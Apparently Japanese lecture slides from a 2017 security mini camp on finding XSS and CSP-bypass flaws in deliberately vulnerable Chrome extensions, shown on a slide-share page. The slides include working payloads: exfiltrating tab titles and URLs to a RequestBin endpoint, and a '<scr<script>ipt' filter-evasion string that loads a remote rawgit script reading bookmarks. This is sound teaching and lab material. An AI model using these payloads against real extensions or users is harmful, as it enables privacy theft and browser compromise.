Advertisement
Advertisement

More Related Content

Slideshows for you(20)

Similar to Chrome拡張機能の脆弱性を探そう!(20)

Advertisement

Chrome拡張機能の脆弱性を探そう!

  1. Chrome拡張機能の 脆弱性を探そう! 北陸金沢ミニキャンプ2017 12/3 KageShiron
  2. About this • 北陸金沢ミニキャンプ2017の講義資料を公開用に再編したもの です。 • 外部への攻撃や、修正前の脆弱性の公開は違法行為や犯罪行為 となり、目的によらず罰せられる可能性があります。十分に注 意し、わからないことがあれば詳しい人に相談しましょう。 • スライド中で使う資料を以下からダウンロード可能です。 • 予告なく公開を終了する可能性があります。それ以降はお問い合わせ ください。 • https://goo.gl/fVxxYA
  3. Chromeの拡張機能は便利! • スクリーンショットから、パスワードの自動入力、広告ブロッ クまで、多彩な拡張機能が存在 • FirefoxやEdgeでも同じ方式の拡張機能を採用(WebExtension) • ただし、まだ使える機能にはだいぶ差異がある • 今回はChromeに絞って説明しますが、FirefoxやEdgeでも同様 のはずです
  4. 凡例 • 青 通常のWebページや、Webページの権限のデータのやりと りなど • オレンジ 拡張機能ページや、拡張機能の権限のデータのやり とりなど
  5. 拡張機能の特権 • Webサイトなどと同様にJavaScriptで記述可能 • ブラウザの拡張機能は通常のWebサイトにない権限を持っている • 全てのWebサイト上にあるデータの読み取り、変更 • ブックマークへのアクセス • タブやウィンドウの操作 などなど • これにより通常のWebサイト ではできないような機能を 提供できる
  6. 通常のWebサイトにある脆弱性 デジタル大辞泉より ぜいじゃく‐せい【×脆弱性】 1 もろくて弱い性質または性格。 2 コンピューターネットワークにおける安全上の欠陥。オペ レーティングシステムやアプリケーションソフトのバグ、開発者 が予期しなかった利用方法などにより、悪意のある第三者によっ てコンピューターウイルスに感染させられたり、不正アクセスの 被害にあったりするおそれがあること。
  7. XSS(クロスサイトスクリプティング) 予期しない場面でスクリプトが実行されてしまう脆弱性 ようこそ さん!
  8. 通常のWebサイトでXSSがあると・・・ • 偽の情報やフォームを設置する • 怪しいサイトに誘導する • そのサイトのログイン情報や個人情報が盗まれる! • SNSなら勝手に投稿される! • 通販サイトなら無断で注文が実行される! • 銀行サイトなら不正にお金が送金される! XSSがあるサイト上で自由にスクリプト が実行されてしまう!
  9. 同一オリジンポリシー(Same Origin Policy) 「オリジン」によって境界を設けて権限が分離されている オリジンが違う(=別のサイト)の情報を読んだり、操作はできない SNS https://sns.test 脆弱な Webサイト http://example.com 銀行サイト https://example.bank
  10. 注意:SOPでは送信は防げない • SOPは「送信」を防ぐ仕組みではない • XMLHttpRequestなどでは攻撃者のサイトの中身は読めないが、 リクエストは送信される • Webの原理的に回避方法があるので塞いでも意味がない • 例 : imgタグのsrcには別オリジンのURLを指定可能 • <img src="http://example.com?個人情報" /> 脆弱なサイト 攻撃者のサイト個人情報など
  11. 再掲:拡張機能の特権 • Webサイトなどと同様にJavaScriptで記述可能 • ブラウザの拡張機能は通常のWebサイトにない権限を持っている • 全てのWebサイト上にあるデータの読み取り、変更 • ブックマークへのアクセス • タブやウィンドウの操作 などなど
  12. ブラウザの拡張機能 SNS https://sns.test 脆弱な Webサイト http://example.com 銀行サイト https://example.bank
  13. 実際に試してみよう • VulnExtension1 • タブの一覧を左に表示する拡張機能です • サンプルなのでいろいろ動きが怪しいですが、お気になさらず • アドレスバーに「chrome://extensions」と打ち込み、拡張機 能管理ページへ。 • 「デベロッパーモード」にチェックを入れて「パッケージ化さ れていない拡張機能を読み込む」をクリックして、フォルダを 指定することで拡張機能をインストールできます。
  14. Chrome Extensionの読み方 • manifest.jsonを読む • 拡張機能の情報を設定するファイル • ここを読めば必要なことが一通りわかる • https://developer.chrome.com/extensions/manifest • "permissions" 拡張機能が必要とする権限を定義する • "tabs" タブを操作する権限。タブのURL、位置、状態、ファビコンな どにアクセス可能となる。
  15. Chrome Extensionの読み方 • "content_scripts" Webページで実行するスクリプト、CSS • matches 実行するWebサイト。<all_urls>だと全てのページ • js,css それぞれ実行するスクリプトと読み込むCSS • run_at 実行するタイミング • "background" • 常に裏で起動しており、拡張機能の特権が使えるページ。コンテント スクリプトとやりとりを行う。 • ここで得られた情報を元に、コンテントスクリプトや、バック グラウンドスクリプトを読んでいく。
  16. 答:XSSの脆弱性がある • content.js内 • t.urlやt.titleにタグが埋め込み可能です。Googleで 「<script>alert("hello")</script>」と検索後、別のページを 開いて見ましょう。 • 全てのページでスクリプトが実行されてしまいます。 SNSでも、銀行サイトでも! var li = $("<li><div class='title '><img src='" + t.favIconUrl + "'>" + t.title + "</div><div class='url '>" + t.url + "</div></li>");
  17. ブラウザ拡張の脆弱性の問題点 • 個人規模の拡張機能の小さな脆弱性が多くのサイトに影響 • 小さい個人Webサイトであればそこまで気にする必要はなかったのに • Webサイト側で対処するのが不可能 • Webサイトは拡張機能がない状態を想定して設計しされている • 仮に脆弱性のある拡張機能があることを知っていても対処は困難 • 責任の所在やどこに通報して良いのか難しい
  18. 例えば、脆弱性より不正送金されたら? 銀行 開発者 うちのサイトに脆弱性はないよ 利用規約にある通り 拡張機能の利用は自己責任だよ 修正はするかもしれないけど 脆弱性や不具合の責任まではもたないよ
  19. 脆弱性2:タイトルやURLを読み取られる • タイトルやURLは通常のテキストとしてWebサイトに追加される • WebページからタブのタイトルやURLを読み取られてしまう • これは脆弱性と言えるか? • 脆弱性なら、どんな問題がある? 拡張機能によって 追加された要素 通常のWebページ http://example.comContent Script タイトル URL Webページ側から読み取り可能
  20. 拡張機能作者の対策 • 通常のWebサイトと同じ、XSSなどの脆弱性を作り込まない • 「ユーザーが入力するデータ」「拡張機能のAPIから渡ってく る情報」には特に注意。意図しない情報が入ってくる危険があ る。 • 可能な限り余分な権限を使わない
  21. 答2:タイトルやURLを読み取られる • プライバシーの侵害 • 利用者の見ているサイトや検索ワードがバレる • プライバシーや通信の秘密は重要な権利 • 機密情報が含まれる可能性がある • URLにセッションIDなどが含まれる • ユーザー名やメールアドレスが含まれる • 目的の個人情報があるページを勝手に、または利用者を誘導して開か せることで比較的容易に個人情報が収集できる • Gmail→タイトルに自分のメールアドレスが • Facebook→https://www.facebook.com/profileを開くとタイトルに名前が
  22. 実際にデータを読み取ってみよう • 実際に本来取得できないはずのタイトルやURL(機密情報)を外 部に送信してみます。 ① 機密情報の送信先のサイトを用意 ② 攻撃ページの用意 ③ 攻撃ページのプログラムを記述
  23. ①送信先のサイトを用意 • RequestBin • 飛んできたリクエストを記録してくれるサイト • https://requestb.in/ 1. (念のためPrivateにチェックをつける) 2. Create a RequestBinをクリック 3. 新たなURLが発行される 4. ブラウザとかで後ろに"?SecretInformation"とかをつけてアク セス
  24. ①送信先のサイトを用意 5. 先ほどのページ(URLの後ろに?inspectをつけたもの)を開く と、アクセスの記録が残る! 6. ここのページに何らかの形でリクエストを投げられれば同様 の方法で外部に機密情報を送信できるということ
  25. ②攻撃ページの用意 • 「Web Server for Chrome」は簡単にローカルサーバーを立て られるChromeアプリです。(自分のホームページを使ったり、 他の手段でローカルサーバを立てても構いません) 1. 事前にインストールしてない方はChrome Web Storeから 「Web Server for Chrome」で検索 2. 適当なフォルダにindex.html というファイルを作成 3. アプリを起動し、"CHOOSE FOLDER" からそのフォルダを指定 4. 下のhttp://127.0.0.1:8887を クリック
  26. ③攻撃ページの記述 • 先ほどのindex.htmlにプログラムを書いてみましょう。 RequestBinにタブやURLの情報が表示できれば成功です。 • HTML/JavaScriptが苦手な方は、途中まで埋めたサンプルがあ るので、それを使ってみてください。(attacksample) • 拡張機能が挿入するサイドバーのIDなどが必要な場合は デベロッパーツールを利用して 確認することができます。
  27. ④まとめ • requestb.inにタブの情報が表示されて入れば成功です。 • これと同一の方法で、攻撃者は好きなページに機密情報を送る ことができてしまいます。 • うまくいかない場合のヒント • 標準のブラウザで開いてしまう場合がありますが、必ず拡張機能をイ ンストールしたChromeで開いてください。 • 送信先のURLは "http://requestb.in/xxxxx?機密情報"のよのように、? が入ります。抜けていないか確認してください。 • この?から後ろはパラメータだよという意味です。例えば、Googleで 検索すると"https://www.google.co.jp/search?q=検索ワード"のよの ように?の後ろに色々な情報が載っているのがわかります。
  28. 安全にデータを埋め込むには • iframeタグでchrome-extension://のページを埋め込む必要が ある。 拡張機能のページ chrome-extension://〜 通常のWebページ http://example.comContent Script 埋め込み 拡張機能のBackgroundページ データ(例:URLとタイトル) 同一オリジンポリシーにより やりとりは認められない
  29. より詳しく学ぶなら • Google Chromeのリファレンス • Mozilla Developers Network(MDN)のWebExtensionsのページ • ブラウザハック(書籍) • 実際に拡張機能を書いてみる • 通常のWebのセキュリティと同一の知識 • 実際に脆弱性を探してみる
  30. おまけ:Chromeの拡張機能のダウンロード • 自身のブラウザにインストール後にその場所を見る • Windows • C:Users(ユーザ名)AppDataLocalGoogleChromeUser DataDefaultExtensions • Mac • /Users/(ユーザー名)/Library/Application Support/Google/Chrome/Default/Extensions • Chrome extension source viewer • ストア上の拡張機能の中身を確認できるツール • crx、zipでのダウンロードも可能 • ググるとダウンロードできるサイトもある • crxはzipにヘッダーをつけたもの。解凍はフリーソフトの7zip でできることを確認
  31. 追加スライド CSP • 当日は駆け足の説明となってしまいました
  32. 拡張機能のページ chrome-extension://〜 通常のWebページ http://example.comContent Script タブ(http://example.com) コンテントスクリプトや埋め込みiframeの中では拡張機能内 のやりとりと、同一オリジンポリシーの無視などの特権が与 えられている。 拡張機能の特権(制限付き)
  33. 拡張機能の特権(制限なし) 一方で、バックグラウンドページやポップアップ、拡張機能のタブで はmanifest.jsonのpermissionに指定することでより強い特権が利用で きる タブの操作、ブックマークの操作、通信の傍受・書き換え...etc ここに脆弱性があったら? 拡張機能のページ chrome-extension://〜 ポップアップ 拡張機能のページ chrome-extension://〜 バックグラウンドページ 拡張機能のページ chrome-extension://〜 拡張機能のタブ
  34. 実際に確認して見る • Googleなどで<>bold!</b><script>alert("hello!")</script>な どと検索。通常のWebサイトではhello!というアラートが表示 されてしまう。 • 先ほどの拡張機能にはtest.htmlというページがあるのでそこを 開く • chrome-extension://拡張機能ID/test.html • 拡張機能IDはChromeの拡張機能管理ページから確認可能です。 • ここではbold!は太字になっているのに、スクリプトは実行さ れない • merqueeタグを使うとわかりやすい
  35. Content Security Policy(CSP)に守られた! • デベロッパーツールに以下のようなログがある • CSPの指定にないスクリプトの実行は許可されない • おかげで特権ページが乗っ取られ、任意のスクリプトが実行さ れる事態は防げた。
  36. Content Security Policy • Content Security Policy(CSP)はXSSなどの攻撃からWebサイ トや拡張機能を守るための機構 • 標準では同じ拡張機能内に含まれるjsファイルを<script src="script.js"></script>のように指定した場合のみ実行可能 • X 別のオリジンにあるファイル(例:http://example.com/script.js) • X <script>alert("hello!")</script>のようにページ中に埋め込まれた スクリプト • これにより、単純なXSSの被害の緩和が期待できる
  37. CSPは緩められる • この制限は安全だけどかなり厳しくてうざい • 一番制限を強めるとCSS、スクリプト、画像、動画なんかも一切読み 込み不能になる • Chrome Extensionの標準ではスクリプトとオブジェクト(Flashなど) のみが指定されている。 • 制限を緩めたい • Webサイトを拡張機能として移植したい(scriptタグが含まれる) • 外部においてあるスクリプトを読み込みたい • トラッキングや広告の表示にスクリプトが必要 → manifest.jsonに記述することで可能 →セキュリティ機構を緩める以上、当然危険も・・・
  38. 実際に脆弱性を試して見る • Vuln-Extension2 • chrome-extension://拡張機能ID/popup.html • 検索機能つきのセキュリティミニキャンプの一覧表です。 • まず脆弱性を探してみましょう。 • スクリプトはCSPによって実行できないはずです。 <marquee>test</marquee>などを挿入できれば、testという文字が 流れて脆弱性の存在が確認できます。
  39. 脆弱性 • エスケープされていないので、またタグを挿入できます。 • 検索欄に<maruqee>test</marquee>とか入れれば確認可能 • ただ、これだけだとユーザーの入力を伴うので脆弱性としては ちょっと乏しい //検索しました!を表示 $("#search-result").html(text + "を検索しました!");
  40. 脆弱性 • URLにpopup.html#<mareuqee>test</marquee>のように指 定されるとそれが検索窓に入る • 普通Webページのリンクからは拡張機能のページを開けませんが、他 の脆弱性によって回避される可能性がしばしばあります。 // 「popup.html#金沢」のように開くと、「金沢」の部分だけ取得 var search = location.hash.substring(1); // <script>タグっぽいものを削除する search = search.replace(/<script.*?>/g,""); $("#search-text").val(search);//検索ボックスに入れる $("#search-button").click();//クリック
  41. <script>を除去しようとしているが・・・ • search.replace(/<script.*?>/g,"");のようにして、<script>っ ぽいものを除去しようとしていますが、これは逆効果です。 "<scr<script>ipt >"を除去すると、"<script>"になってしまい ます。 • ミニキャンプ当日は入れてなかったのですが、Google Chrome は標準のXSSフィルターという機能で、XSSっぽいものの除去 を試みます。それを回避するために追加しました。 • 詳細は「XSSフィルター」で検索してみてください。今回は詳 しくは述べません。
  42. CSPのバイパス • manifest.jsonに上記の指定がある。scriptタグの読み込み先を 以下に限定 • 'self'(拡張自信内部) • ' https://cdn.rawgit.com'(GitHubを利用したCDN) • popup.htmlを見ると、jQueryをGithub gistから読み込んでいる ことがわかる "content_security_policy": "script-src 'self' https://cdn.rawgit.com; object-src 'self'" 自分でも任意のファイルを Github上で公開可能
  43. 実際に攻撃を行ってみよう • (1)gistに任意のスクリプトを記述する。 • https://gist.github.com • (gistはログイン不要だが、どうやらrawgitはログインユーザーしか対 応してないらしい) • (2)RawGitでCSP内で実行できるスクリプトを記述する • https://rawgit.com/ • (3)<script src="先ほどのファイル"></script>と拡張機能の検 索欄に入れて、スクリプトが実行されることを確認しよう
  44. 例 • この拡張機能では、tabs、bookmarks、<all_urls>の権限が与 えられています。 • 上の例は最近使ったブックマークを1つ表示。 • https://cdn.rawgit.com/KageShiron/dcff92d89453bea8c20a2 ff2e17aa58f/raw/01c528a2efd2fbcfc903cdaef67cf3cfbdafea4 a/csp-bypass.js chrome.bookmarks.getRecent(1,function(x){ alert(x[0].title); });
  45. 例: • 拡張機能のページで上のように検索して見ると、CSPをバイパ スし、アラートが表示されることがわかります。 • URLからアクセスする場合は、#以下を下記に • #<scr<script>ipt src="https://c<script>dn.rawgit.com/KageShiron/dcff92d89453bea 8c20a2ff2e17aa58f/raw/01c528a2efd2fbcfc903cdaef67cf3cfbdafea4 a/csp-bypass.js"></script> <script src="https://cdn.rawgit.com/KageShiron/dcff92d89453bea8c20a2 ff2e17aa58f/raw/01c528a2efd2fbcfc903cdaef67cf3cfbdafea4a/cs p-bypass.js"></script>
Advertisement